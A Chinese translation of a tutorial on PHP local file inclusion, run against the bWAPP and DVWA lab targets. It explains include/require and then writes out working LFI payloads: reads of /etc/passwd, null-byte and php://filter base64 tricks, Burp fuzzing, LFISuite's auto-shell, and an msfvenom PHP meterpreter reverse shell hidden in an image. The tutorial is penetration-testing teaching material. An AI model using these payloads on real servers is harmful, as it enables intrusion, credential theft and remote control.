0x00 引言
在这个妇孺皆知的网络世界中,由于动态Web应用程序的服务端代码的不严谨或者系统文件的错误配置等诸多因素,很容易让攻击者产生非分之想。这篇文章我们来介绍文件包含,众所周知这是一个危害极大的漏洞,某些时候攻击者能通过远程包含恶意文件访问保存在服务器上的敏感文件,更甚者可以直接控制目标Web服务器。
概要
- 简介
- PHP函数
- Include()函数
- Require()函数
- Require-once()函数
- 本地文件包含(LFI)
- LFI漏洞利用
- 基本的LFI攻击
- 空字节攻击
- Base64攻击
- Fuzzing攻击
- LFI套件
- 文件上传与文件包含的组合拳
- 防御
0x01 简介
文件包含漏洞通常出现在代码编写不恰当的PHP Web应用中,主要原因是用户输入参数未经恰当的验证或过滤。因此攻击者很容易捕获流传递的HTTP请求,通过控制接收文件名的URL参数,以此来将恶意文件包含进Web服务端。
为了了解这种机制,让我们看一下以下这种情况。
设想一个Web应用程序,该Web应用程序通过其URL接受一个表示“file=hackingarticles.php”的参数,服务器进一步对其进行处理,并将其内容显示在应用程序的屏幕上。
现在攻击者尝试控制flie参数来调用一个本地文件,甚至将一个恶意脚本或payload从自己的网站注入到该参数中,从而使Web服务器对其进行处理并执行该特定文件,这可能会导致以下攻击:
- web服务端代码执行
- XSS(跨站脚本)攻击
- DOS(拒绝服务)攻击
- 数据操纵攻击
- 敏感信息泄露
这种漏洞的影响很大,所以,已经有了如下曝光:
- CWE-98: “对PHP程序中的Include/Require语句的文件名控制不当”
- CWE-20: “不恰当的输入验证”
- CWE-22: “到受限目录的路径名限制不当 (‘目录遍历’)”
- CWE-23: “相对路径遍历”
- CWE-200: “向未经授权的用户公开敏感信息”
文件包含攻击分为两种:
- 本地文件包含(LFI)
- 远程文件包含(RFI)
在深入探讨这些文件包含攻击之前,先简单了解一下相关的PHP函数。
0x02 PHP Include()函数
我们可以用include()函数在服务器执行之前将某一个PHP文件的内容插入到另一个PHP文件。该函数可用于创建将在多个页面上重用的函数、首部、尾部或元素。
这可以帮助开发人员以最小的努力轻松地更改整个网站的布局,即,如果需要进行任何更改,则无需更改数千个文件,而只需更改包含的PHP文件。
例1
假设我们有一个名为“footer.php”的标准尾部文件,如下所示
<?php
echo "<p>Copyright © 2010-" . date("Y") ."hackingartices.in</p>";
?>
为了将这个尾部文件包含在我们的页面中,我们将使用include语句。
<html>
<body>
<h1>Welcome to Hacking Articles</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include 'footer.php';?>
</body>
</html>
包含文件(footer.php)中的代码被解释得就像已插入主页一样。
例2
假设我们有一个名为“ vars.php”的文件,其中定义了一些变量:
<?php
$color='red';
$car='BMW';
?>
Test.php
<html>
<body>
<h1>Welcome to my Home Page!!</h1>
<?php
echo "A$color$car"; //Output A
include 'var.php';
echo "A$color$car"; //A red BMW
?>
</body>
</html>
在test.php文件中执行第五行后,由于我们还没有调用var.php脚本,因此只会打印“A”。而在下一行中,我们使用了include函数来包含var.php文件,而解释器读取该行后,它将直接从服务器调用我们的文件并执行它。
因此,变量“color”和“car”现在被赋值成了“red”和“BMW”。 在最后一行运行时,我们将输出为“A red BMW”。
0x03 PHP Require()函数
与include()函数相似,require语句也被用于将一个文件包含进PHP代码中。但其两者又有一个很大的区别。当文件用include语句包含并且PHP无法找到或正确加载它时,include()函数会生成一个警告,但脚本会继续执行:
例3
<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>
输出:I have a Red BMW
现在,如果我们尝试使用require函数运行相同的代码,则echo语句将不会执行,因为在require语句返回致命错误后,脚本执行就会终止:
<html>
<body>
<h1>Welcome to my home page!</h1>
<?php require 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>
无输入结果。
0x04 PHP Require_once()函数
我们可以使用Require_once()函数将另一个页面的数据访问到我们的页面中,但只能访问一次。它的工作方式与require()函数类似。require和require_once之间的唯一区别是,如果发现文件已经包含在页面中,则调用脚本将忽略其他包含。
例4
echo.php
<?php
echo "Hello";
?>
Test.php
<?php
require('echo.php');
require_once('echo.php');
?>
输出:“Hello”
0x05 本地文件包含(LFI)
本地文件包含是攻击者试图通过在服务器中包含本地存在的文件来欺骗Web应用程序的漏洞。 当一个php文件包含一些php函数,例如“include”,“include_once”,“require”,“require_once”时,就会出现该漏洞。
当页面接收到必须包含的文件的路径作为输入并且未正确对此输入脱敏时,就会发生此漏洞,从而允许注入目录遍历字符(例如dot-dot-slash)。因此,本地文件包含具有“高严重性,CVSS得分为8.1”
我们尝试通过所有不同的方式来利用此LFI漏洞。我使用了两个不同的平台bWAPP和DVWA,其中包含文件包含漏洞。
0x06 基本的本地文件包含
我们将在浏览器中打开目标IP并以bee:bug的身份登录BWAPP,此外,我们将“choose your bug”选项设置为“Remote & Local File Inclusion (RFI/LFI)”,将安全等级设置为“low”(主要为了阐述漏洞及其利用原理,更高难度级别的漏洞环境读者可以自行测试)。
现在,我们将被重定向到存在RFI和LFI漏洞的页面。在此处,我们将找到一个注释部分,以从给定的下拉列表中选择一种语言,一旦我们单击“Go”按钮,所选的语言文件就会包含在URL中。
为了演示基本的LFI攻击,我们将使用“/etc/passwd”来控制“URL language参数”,以访问本地系统中存在的密码文件,如下所示:
192.168.0.11/bWAPP/rlfi.php?language=/etc/passwd
因此,我们已成功进入密码文件,并且能够直接从网页中读取此敏感信息。同样,我们甚至可以使用“/etc/shadow”或“/etc/group”读取其他文件的内容。
0x07 空字节攻击
在许多情况下,由于高安全性的配置,基本的本地文件包含攻击可能无法起作用。从下图可以看到,在URL中执行相同路径时,我无法读取密码文件。
那么,当我们陷入类似情况时该怎么办?
答案是去构造零字节攻击。许多开发人员在必需变量的末尾将“.php”扩展名添加到其代码中,然后才将其包括在内。
因此,Web服务器将/etc/passwd解释为/etc/passwd.php,因此我们无法访问该文件。为了摆脱此“.php”,我们尝试使用空字节字符(%00)终止变量,这将迫使php服务器忽略空字节字符之后的所有内容。
192.168.0.11/bWAPP/rlfi.php?language=/etc/passwd%00
可以看到我们再次成功读取到passwd文件内容。
您甚至可以使用burpsuite捕获相同的内容,只需在Proxy标签中捕获浏览器的请求,然后使用/etc/passwd%00处理其URL并将其全部转发到Repeater即可。在Repeater内部,我们可以对发送的请求和通过它生成的响应进行深入分析。
现在,我们只需要单击“Send”选项卡。在窗口的右侧,您可以看到密码文件已作为响应打开。
0x08 Base64 编码攻击
有时安全性配置很高,我们无法查看包含的PHP文件的内容。 因此,我们仍然可以通过使用以下PHP函数来利用LFI漏洞。
192.168.0.11/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd
因此,从下面的屏幕截图中,您可以确定密码文件的内容是使用base64编码的。复制整个编码的文本,然后尝试使用任何base64解码器对其进行解码。
我此处使用了burpsuite解码器来解码以上复制的文本。
转到burpsuite中的“Decoder”选项,然后将复制的base64文本粘贴到提供的字段中,现在在右侧单击“Decode as”,然后从显示的选项中选择“Base64”。
至此,您可以看到我们再次成功获取了passwd文件。
0x09 Fuzzing攻击
很多时候,不可能手动检查所有这些情况,甚至有时我们的包含文件可能不在根目录中。因此,为了通过LFI漏洞破坏网站,我们需要遍历并找到包含文件的实际路径。这种遍历可能包含许多排列和组合,因此,我们将制作一个包含所有可能条件的字典,并将其包含在攻击中。
在下面的截图中,您可以看到我已通过在代理服务器选项卡中单击鼠标右键,然后选择“Send to intruder”选项,将拦截的请求发送到Intruder。
现在,我们需要将字典文件加载到Payload部分,并将Payload类型设置为“Simple list”,如下图所示。
之后,我们只需要将Payload position设置为输入值参数,然后只需触发“Start Attack”按钮即可开始我们的Fuzzing攻击。
从下图可以看到我们的攻击已经开始,并且长度部分有波动。在提供的所有输入条件中找到增量后,我们将检查其对读取包含文件内容的响应。
0x10 LFI 套件
有时在使用Burp套件执行LFI攻击时会有点难受,因为等待长度增加,并检查它显示的每个可能的响应。为了使此任务更简单,更快捷,我们将使用一种称为LFI Suite的出色自动化工具。这有助于我们扫描网站的网址,如果发现该网址容易受到LFI攻击,它会显示所有可能的结果,因此我们可以使用它来获取网站的远程shell。您可以从这里下载。
首先,我们将克隆LFI套件,并使用以下代码在我们的kali机器中启动它:
git clone https://github.com/D35m0nd142/LFISuite.git
cd LFISuite
python lfisuite.py
选择第二个选项“Scanner”来检查可能的输入参数。
现在它要求我们“enter the cookies”,我安装了“HTTP Header live”插件来捕获HTTP请求。
从下图可以看到,我已将捕获的cookie复制到cookie字段中,并禁用了Tor代理。我们只需要输入网站的URL,然后按Enter。
现在,攻击已经开始,我们可以通过将LFI漏洞利用到我们的Web应用程序中来发现40个不同的参数。
现在是时候连接到目标机并通过捕获其远程shell来破坏其网站。
重新启动应用程序,这次选择选项1“Exploiter”。在必填字段中输入与我们在扫描程序部分中使用过的cookie相同的cookie,并将Tor代理设置为“No”。
按下Enter键后,您会发现一个列表,其中列出了多种攻击网络服务器的方法。
选择选项9“Auto Hack”。
将弹出一个新部分,询问网站的URL,在此处输入目标网站,然后按Enter。
http://192.168.0.11/bWAPP/rlfi.php?language=
Nice!我们成功get到目标机的shell。
0x11 文件上传与文件包含的组合拳
众所周知,“文件上传”漏洞使攻击者可以上传带有恶意代码的文件,该文件可以在服务器上执行。
但是,如果Web服务器使用补丁修补了文件上传漏洞,该怎么办?
不是大问题。我们只需要其中一个未修补的文件包含漏洞,因此我们可以通过文件包含漏洞绕过其补丁,甚至可以获得目标服务器的反向shell。
让我们看看如何。
首先,我下载了一张图像raj.png并将其保存在桌面上。
现在,我将打开终端并键入以下命令,以在“raj.png”图像中生成恶意的PHP代码。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.9 lport=4444 >> /home/hackingarticles/Desktop/raj.png
让我们验证一下我们注入的代码是否在图片中。
cat /home/hackingarticles/Desktop/raj.png
在底部,您会发现图片中包含的PHP代码。这意味着我们的恶意图片已准备就绪,现在我们可以通过Web应用程序将其上传。
现在,在浏览器中打开目标IP,并以高安全级别登录DVWA。选择该漏洞作为文件上传,以便将恶意图片上传到Web应用程序服务器。
从下面的屏幕截图中,您可以看到“raj.png”图片已成功上传。
复制这个图片被上传的路径(红色高亮)。
在执行图片之前,我们将在Kali中启动Metasploit框架并启动multi/handler。
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.9
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
现在,我们回到DVWA并将安全级别设置为低,并打开文件包含漏洞。这次,我们通过粘贴上面复制的路径来再次控制URL参数“page=”。
192.168.0.11/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/raj.png
URL一旦加载到浏览器中,我们就会在我们的Kali机器中get服务器的反向shell。
0x12 防御
- 强大的输入验证:严格限制输入参数白名单,拒绝其他不符合要求的输入。
我们可以使用以下代码片段检查所有内容。
从上图可以看到,存在一个if条件,该条件仅允许列入白名单的文件并使用“ERROR: File not Found!”响应所有非法文件的包含。
-
过滤目录分隔符“/”以防止我们的Web应用程序遭受目录遍历攻击,这可能进一步导致“本地文件包含”攻击。
-
在可用的最新版本的PHP服务器中开发或运行代码,甚至配置PHP应用程序,使其尽量不使用register_globals。
0x13 后记
篇幅较长,后续会出远程文件包含(RFI)部分,望表哥们多多指教。
参考: https://www.w3schools.com/ https://www.owasp.org/index.php/Testing\_for\_Local\_File\_Inclusion https://www.acunetix.com
==本文译自:https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/ 原作者:Chiragh Arora 致敬所有对本文创作有贡献的人==